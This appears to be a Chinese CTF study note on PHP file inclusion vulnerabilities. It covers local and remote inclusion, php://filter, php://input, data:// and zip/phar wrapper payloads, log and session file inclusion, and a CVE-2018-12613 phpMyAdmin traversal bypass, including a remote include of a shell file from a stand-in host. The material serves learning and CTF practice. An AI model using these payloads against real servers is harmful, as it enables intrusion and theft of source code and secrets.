• CTF 文件包含


    基本概念

    • 文件包含
      将相同函数写入单独的文件中,需要使用时直接调用
    • 文件包含漏洞
      将被包含的文件设置为变量,导致客户端可以恶意调用一个恶意文件
    • 相关函数
      • include()
      • include_once()
      • require()
      • require_once()
        include()若没有找到文件,只报warning;require()报错停止
        once说明值包含一次
        包含可执行文件时会直接执行

    本地文件包含

    • 包含的实现
      包含的时候,不一定要包含.php文件,只要包含一块完整的php代码,例如a.jpg,内容为<?php phpinfo();?>
    • 具体场景
      由于被包含的文件类型多种多样,因此在实现的时候,重点在于找到可控文件
      • 比如说能够上传图片,就去传一个带完整php代码的图片文件,或者是将代码文件改后缀
      • 压缩包使用伪协议

    远程文件包含

    • 远程包含的条件

      • allow_url_fopen
      • allow_url_include
    • [http|https|ftp]://www.bbb.com/shell.txt
      若后缀名写死,可以使用?绕过
      例如www.bbb.com/shell.txt?a.php

    • 伪协议

      • php归档
        • phar://archive.zip/file.txt
        • zip://archive.zip#dir/file.txt(#有时需要替换为%23)
      • 利用php流
        • php://filter是一种元封装器,用于数据流打开筛选过滤的应用。对于一体式的文件函数非常有用,类似readfile()file()file_get_contents()
          ?file=php://filter/convert.base64-encode/resource=index.php
          可以用/来链式链接过滤器,如果没有找到过滤器也不影响执行,所以可以用来绕过,例如=php://filter/convert.base64-encode/write=woofers/resource=flag
        • php://input
          利用条件:
          • 1、allow_url_include=On
          • 2、对allow_url_fopen不做要求
          • php://input可以读取没有处理过的POST数据
      • data协议
        • include('data://text/plain;base64,cGhwaW5mbygpCg==');
        • compress.zlib://data:@127.0.0.1/plain;base64,可以直接传入数据
          data协议后面紧跟的是mime类型,但是谁都知道没人关心这个东西,所以可以随便填点什么用来绕过

    具体场景

    • 日志文件
      web服务器会将请求写入到日志文件中,比如说apache。当用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在/var/log/apahce2/

    • 系统环境
      https://www.youtube.com/watch?v=dlh0ogYy9ys

    • session
      登录注册类型要么sql注入要么session文件包含

      • php默认生成的Session文件往往存在/tmp目录下
      • 文件名为sess_PHPSESSID
      • session.upload_progress.enabled这个参数在php.ini默认开启,如果不是Off,就会在上传过程中生成上传进度文件,它的储存文件路径可以在phpinfo获取到

    补充

    • CVE-2018-12613Phpmyadmin后台 任意文件包含漏洞复现

      checkPageValidity
      //%253f是?号的二此url编码
      urlcode将$page解码后是db_sql.php?/../../test.php 再以?分割取出来前面的字符串为index.php,$whitelist中有index.php所以会进入最后一个if区间return true
      前面5个if都符合后会包含$_REQUEST['target'],target值会被解析成db_sql.php%3f/../../test.txt,因为php会前面db_sql.php%3f当成目录,所以要多加一个../来跨出目录

  • 相关阅读:
    Ubuntu apt-get "Hash Sum mismatch" 问题解决方法
    模型压缩相关工作
    bn两个参数的计算以及layer norm、instance norm、group norm
    cascade rcnn论文总结
    c++ 堆和栈以及区别
    c++ 浅拷贝和深拷贝 指针和引用的区别 malloc(free)和new(delete)的区别 重载重写重定义
    c++ 多态,虚函数、重载函数、模版函数
    c++问题整理
    repulsion-loss
    smooth l1
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/10989816.html
Copyright © 2020-2023  润新知